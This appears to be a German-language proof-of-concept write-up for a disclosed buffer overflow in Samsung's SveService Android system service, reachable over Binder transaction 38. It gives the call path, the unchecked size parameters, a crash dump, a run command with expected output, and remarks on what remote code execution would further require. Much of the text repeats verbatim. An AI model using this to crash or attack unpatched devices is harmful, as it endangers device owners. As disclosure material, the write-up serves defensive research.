
Minimaler PoC für einen Pufferüberlauf im Samsung-SveService-Dienst, der einen Schreibzugriff außerhalb der Grenzen über Binder demonstriert, um den Android-Systemdienst ohne besondere Berechtigungen zum Absturz zu bringen.
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Betroffene Versionen: Android 14, 15, 16
Offenlegungsstatus: Privat offengelegt
Ein Out-of-Bounds-Schreibzugriff in SveService vor SMR May-2026 Release 1 ermöglicht lokalen privilegierten Angreifern die Ausführung beliebigen Codes.
Der Patch fügt eine ordnungsgemäße Eingabevalidierung hinzu.
Pufferüberlauf-Schwachstelle im Systemdienst SveService (com.sec.sve) auf Samsung-Geräten mit Android 16. Der Dienst läuft als system (UID 1000) und ist über Binder ohne besondere Berechtigung erreichbar.
| Komponente | Rolle | Version |
|---|---|---|
sveservice.apk | Android-Dienst | API 36 |
libsvejni.so | Native ARM64-Bibliothek | Build-ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
In sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) werden die Parameter i18, i19, i20 (aus der AIDL als i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 empfangen) direkt an memset, sub sp, sp, xN (alloca) und memcpy übergeben, ohne jegliche Größenvalidierung.
Ähnliche Funktionen (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validieren mit cmp w20, #0x1e; b.gt (lehnen > 30 Bytes ab). SetCodecInfo validiert überhaupt nicht.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Erwartete Ausgabe:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() über app_process funktioniert mit der Shell-UID.signatureOrSystem wird NICHT durchgesetzt — der Dienst wird direkt über ServiceManager.addService() registriert und umgeht damit den Android-Berechtigungsmechanismus.memset mit 0xFFFFFFFF führt immer zu einem Absturz. Für RCE wären ein Address-Leak + ROP erforderlich (PAC auf dem SM-A175F nicht vorhanden).Pufferüberlauf-Schwachstelle im Systemdienst SveService (com.sec.sve) auf Samsung-Geräten mit Android 16. Der Dienst läuft als system (UID 1000) und ist über Binder ohne besondere Berechtigung erreichbar.
| Komponente | Rolle | Version |
|---|---|---|
sveservice.apk | Android-Dienst | API 36 |
libsvejni.so | Native ARM64-Bibliothek | Build-ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
In sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) werden die Parameter i18, i19, i20 (aus der AIDL als i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 empfangen) direkt als Argumente für memset, sub sp, sp, xN (alloca) und memcpy verwendet, ohne jegliche Größenvalidierung.
Andere ähnliche Funktionen (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validieren mit cmp w20, #0x1e; b.gt (lehnen > 30 Bytes ab). SetCodecInfo validiert nichts.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Erwartete Ausgabe:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() über app_process funktioniert mit der Shell-UID.signatureOrSystem wird NICHT durchgesetzt — der Dienst wird direkt über ServiceManager.addService() registriert und umgeht die Berechtigungsprüfung.memset mit 0xFFFFFFFF stürzt immer ab. Für RCE wären ein Address-Leak + ROP erforderlich (PAC auf dem SM-A175F nicht vorhanden).| Operation | Wert | Auswirkung |
|---|
(i18 + 15) & ~15 | 0 | Allokiert 0 Bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Versucht, 4 GB zu nullen → SIGSEGV |
sxtw(i18) für memcpy | 0xFFFFFFFFFFFFFFFF | Vorzeichenerweiterung von -1 → ~18 Exabyte |
| Operation | Wert | Auswirkung |
|---|
(i18 + 15) & ~15 | 0 | Allokiert 0 Bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Versucht, 4 GB zu nullen → SIGSEGV |
sxtw(i18) für memcpy | 0xFFFFFFFFFFFFFFFF | Vorzeichenerweiterung von -1 → ~18 Exabyte |